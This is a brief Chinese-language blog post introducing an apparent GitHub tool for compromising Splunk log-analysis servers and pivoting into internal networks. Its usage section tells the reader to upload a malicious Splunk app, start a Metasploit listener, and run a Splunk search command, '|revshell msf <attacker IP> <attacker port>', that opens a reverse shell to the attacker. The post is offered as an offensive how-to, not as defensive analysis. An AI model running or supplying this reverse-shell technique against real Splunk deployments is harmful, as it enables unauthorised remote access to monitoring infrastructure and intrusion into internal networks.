这篇文章上次修改于 275 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

bt
       Splunk是一个日志、流量聚合分析工具,通常用于防御分析和基础设施管理。正日Github作者说的,虽然这些工具可以很好地发现安全事件及风险,但它们也会反过来被攻击者利用,攻陷splunk并渗透内网中,成为管理员的噩梦。

使用方法:



tu1

上传APP后,本地使用MSF监听,并在splunk中执行以下语句即可获取shell

|revshell msf <attacker IP> <attacker port>

tu2

GitHub传送门